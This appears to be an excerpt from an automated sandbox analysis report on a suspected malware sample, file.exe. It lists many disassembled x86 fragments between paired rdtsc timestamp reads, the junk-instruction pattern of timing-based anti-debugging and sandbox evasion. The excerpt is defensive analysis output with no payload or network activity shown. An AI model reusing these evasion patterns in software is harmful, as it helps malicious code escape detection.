Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C980 second address: 67C9B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov di, 1839h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 mov esi, dword ptr [ebp+122D28C5h] 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 ja 00007F9BD0B1306Ch 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007F9BD0B1306Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E4A4 second address: 67E4B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EFF2 second address: 67EFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F7A9 second address: 67F7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F7AD second address: 67F7CD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9BD0B1306Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jo 00007F9BD0B13066h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680458 second address: 6804B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F9BD074F0C6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov esi, 04B785CAh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F9BD074F0C8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+122D2BF3h] 0x00000036 xchg eax, ebx 0x00000037 jo 00007F9BD074F0E9h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F9BD074F0D7h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804B1 second address: 6804B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804B5 second address: 6804C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804C1 second address: 6804D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B1306Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6819D7 second address: 6819DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6819DD second address: 6819E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6819E1 second address: 6819E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6819E5 second address: 681A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, dword ptr [ebp+12460869h] 0x0000000f push 00000000h 0x00000011 sub edi, dword ptr [ebp+122D25D3h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F9BD0B13068h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D2C13h] 0x00000039 sub dword ptr [ebp+122D3724h], edi 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F9BD0B1306Bh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681A3A second address: 681A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684116 second address: 684142 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F9BD0B1306Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684FFE second address: 685002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688A40 second address: 688A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681726 second address: 68173F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688A44 second address: 688AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+12459A99h], edx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F9BD0B13068h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c pushad 0x0000002d add dword ptr [ebp+122D2391h], ecx 0x00000033 mov edx, 4564706Fh 0x00000038 popad 0x00000039 mov ebx, 47A805CEh 0x0000003e push 00000000h 0x00000040 jc 00007F9BD0B1306Ch 0x00000046 mov dword ptr [ebp+122D23D9h], edx 0x0000004c push eax 0x0000004d pushad 0x0000004e jnc 00007F9BD0B1306Ch 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68173F second address: 681745 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688AA8 second address: 688AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689AA8 second address: 689AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689AAE second address: 689AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C6C5 second address: 68C6C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C6C9 second address: 68C6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C6CF second address: 68C6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C6D9 second address: 68C6F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9BD0B13071h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C6F5 second address: 68C704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD074F0CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6851D5 second address: 6851D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D85C second address: 68D862 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690885 second address: 69088B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69088B second address: 690903 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9BD074F0DAh 0x00000008 jmp 00007F9BD074F0D4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 cmc 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D1AECh], edx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F9BD074F0C8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 or dword ptr [ebp+122D1AD8h], edx 0x0000003d xchg eax, esi 0x0000003e jmp 00007F9BD074F0D8h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F9BD074F0CDh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689BF6 second address: 689C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 nop 0x00000007 mov edi, ecx 0x00000009 push dword ptr fs:[00000000h] 0x00000010 xor edi, 518CF4EFh 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F9BD0B13068h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+122D389Eh] 0x0000003d mov eax, dword ptr [ebp+122D0EF9h] 0x00000043 mov bx, si 0x00000046 push FFFFFFFFh 0x00000048 jmp 00007F9BD0B13076h 0x0000004d nop 0x0000004e pushad 0x0000004f jmp 00007F9BD0B13074h 0x00000054 push ecx 0x00000055 jmp 00007F9BD0B13074h 0x0000005a pop ecx 0x0000005b popad 0x0000005c push eax 0x0000005d pushad 0x0000005e je 00007F9BD0B1306Ch 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C95 second address: 689C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CF4D second address: 69CF69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13070h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B979 second address: 68BA0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F9BD074F0C6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, eax 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d mov dword ptr [ebp+122D3865h], eax 0x00000023 mov eax, dword ptr [ebp+122D09FDh] 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007F9BD074F0C8h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 add edi, dword ptr [ebp+124502F5h] 0x00000049 push FFFFFFFFh 0x0000004b mov dword ptr [ebp+122D2A72h], eax 0x00000051 mov dword ptr [ebp+124606BDh], edi 0x00000057 nop 0x00000058 push ecx 0x00000059 jmp 00007F9BD074F0D7h 0x0000005e pop ecx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 jno 00007F9BD074F0C6h 0x00000069 jmp 00007F9BD074F0D2h 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0B79 second address: 6A0BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9BD0B13066h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9BD0B13077h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6949B8 second address: 6949BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F7B7 second address: 67F7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jo 00007F9BD0B13066h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A501D second address: 6A503D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9BD074F0D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A503D second address: 6A5046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5101 second address: 6A5136 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F9BD074F0C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 push ebx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop ebx 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F9BD074F0D8h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5136 second address: 6A513D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A513D second address: 6A514C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A514C second address: 6A5167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnc 00007F9BD0B13066h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F9BD0B13066h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5167 second address: 6A5171 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AACD4 second address: 6AACD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AACD8 second address: 6AACEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9FF0 second address: 6A9FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA555 second address: 6AA559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA559 second address: 6AA55F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA55F second address: 6AA569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA569 second address: 6AA599 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13070h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F9BD0B1306Eh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jl 00007F9BD0B13087h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA9DF second address: 6AA9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F9BD074F0CEh 0x0000000b jnl 00007F9BD074F0C6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA9F2 second address: 6AA9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F9BD0B13066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAB44 second address: 6AAB4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679BAC second address: 679BC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9BD0B1306Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push esi 0x0000000f jnp 00007F9BD0B1306Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679BC9 second address: 679C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 mov di, 8DF4h 0x0000000a mov ecx, dword ptr [ebp+122D2B7Bh] 0x00000010 lea eax, dword ptr [ebp+1247D890h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F9BD074F0C8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 jg 00007F9BD074F0C7h 0x00000036 nop 0x00000037 pushad 0x00000038 jp 00007F9BD074F0C8h 0x0000003e push eax 0x0000003f push edx 0x00000040 push ebx 0x00000041 pop ebx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C10 second address: 679C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A301 second address: 67A312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a je 00007F9BD074F0C6h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A39F second address: 67A3A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A3A5 second address: 67A3C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9BD074F0D9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A3C9 second address: 67A3D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F9BD0B13066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A3D3 second address: 67A3EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov ecx, dword ptr [ebp+122D27D9h] 0x0000000f push eax 0x00000010 jbe 00007F9BD074F0D0h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A51C second address: 67A532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jl 00007F9BD0B13074h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A532 second address: 67A536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A790 second address: 67A7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jo 00007F9BD0B13070h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A7A2 second address: 67A7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 mov ecx, dword ptr [ebp+122D2DFFh] 0x0000000f jmp 00007F9BD074F0D3h 0x00000014 popad 0x00000015 push 00000004h 0x00000017 jno 00007F9BD074F0CBh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 pushad 0x00000022 popad 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AAA1 second address: 67AAA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AE27 second address: 67AE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jns 00007F9BD074F0C6h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AE37 second address: 67AE41 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9BD0B1306Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE4A8 second address: 6AE4AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE4AC second address: 6AE4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE4B2 second address: 6AE4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE4BB second address: 6AE4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9BD0B1306Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE9EE second address: 6AEA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD074F0D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B516C second address: 6B5177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9BD0B13066h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B52F7 second address: 6B52FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
